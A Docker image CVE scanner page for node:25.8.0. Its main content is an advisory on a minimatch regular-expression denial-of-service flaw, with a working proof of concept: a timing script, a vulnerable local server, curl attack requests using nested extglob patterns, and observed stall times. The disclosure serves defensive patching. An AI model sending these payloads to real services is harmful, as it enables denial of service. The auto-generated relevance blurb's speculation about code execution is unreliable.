Scan Another

CVE Scan for node:25.8.0

Docker image vulnerability scanner

169 Known Vulnerabilities in this Docker Image

0
Critical
2
High
5
Medium
158
Low
0
Info/ Unspecified/ Unknown
CVE IDSeverityPackageAffected VersionFixed VersionCVSS Score
CVE-2026-27904highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Relevance:

The CVE-2026-27904 (if real) could be relevant if the vulnerability affects Node.js v25.8.0 or its dependencies in the Docker image. It might be critical in scenarios where the flaw allows remote code execution or data leakage, especially if the container is exposed to untrusted inputs. Always verify the CVE's details and patch status for accurate risk assessment. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:npm/minimatch@10.2.2
CVE-2026-27903highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5
CVE-2025-61147mediumlibde265<=1.0.11-1+deb12u2not fixed6.2
CVE-2026-23865mediumfreetype<=2.12.1+dfsg-5+deb12u4not fixed5.3
CVE-2009-3546mediumlibwmf<=0.2.12-5.1not fixed4.1
CVE-2025-45582mediumtar>=1.34+dfsg-1.2+deb12u1not fixed4.1
CVE-2007-3996mediumlibwmf<=0.2.12-5.1not fixed4.1
CVE-2025-5278lowcoreutils<=9.1-1not fixed3.1
CVE-2024-3205unspecifiedlibyaml>=0.2.5-1not fixed3.1
CVE-2025-8732lowlibxml2<=2.9.14+dfsg-1.3~deb12u5not fixed3.1

Severity Levels

Exploitation could lead to severe consequences, such as system compromise or data loss. Requires immediate attention.

Vulnerability could be exploited relatively easily and lead to significant impact. Requires prompt attention.

Exploitation is possible but might require specific conditions. Impact is moderate. Should be addressed in a timely manner.

Exploitation is difficult or impact is minimal. Address when convenient or as part of regular maintenance.

Severity is not determined, informational, or negligible. Review based on context.

Sliplane Icon
About Sliplane

Sliplane is a simple container hosting solution. It enables you to deploy your containers in the cloud within minutes and scale up as you grow.

Try Sliplane for free

About the CVE Scanner

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is a standardized identifier for known security vulnerabilities, allowing developers and organizations to track and address potential risks effectively. For more information, visit cve.mitre.org.

About the CVE Scanner

The CVE Scanner is a powerful tool that helps you identify known vulnerabilities in your Docker images. By scanning your images against a comprehensive database of Common Vulnerabilities and Exposures (CVEs), you can ensure that your applications are secure and up-to-date. For more details, checkout the NIST CVE Database.

How the CVE Scanner Works

The CVE Scanner analyzes your Docker images against a comprehensive database of known vulnerabilities. It uses Docker Scout under the hood to provide detailed insights into affected packages, severity levels, and available fixes, empowering you to take immediate action.

Why CVE Scanning is Essential for Your Docker Images

With the rise of supply chain attacks, ensuring the security of your applications has become more critical than ever. CVE scanning plays a vital role in identifying vulnerabilities that could be exploited by attackers, especially those introduced through dependencies and third-party components. Regularly scanning and securing your Docker images is essential to protect your applications from these evolving threats.

Benefits of CVE Scanning

  • Enhanced Security: Detect and mitigate vulnerabilities before they are exploited.
  • Compliance: Meet industry standards and regulatory requirements for secure software.
  • Proactive Maintenance: Stay ahead of potential threats by addressing vulnerabilities early.

The Importance of Patching Docker Images

Patching your Docker images is a critical step in maintaining the security and stability of your applications. By regularly updating your images to include the latest security patches, you can address known vulnerabilities and reduce the risk of exploitation. This proactive approach ensures that your applications remain resilient against emerging threats and helps maintain compliance with security best practices.

Want to deploy this image?

Try out Sliplane - a simple Docker hosting solution. It provides you with the tools to deploy, manage and scale your containerized applications.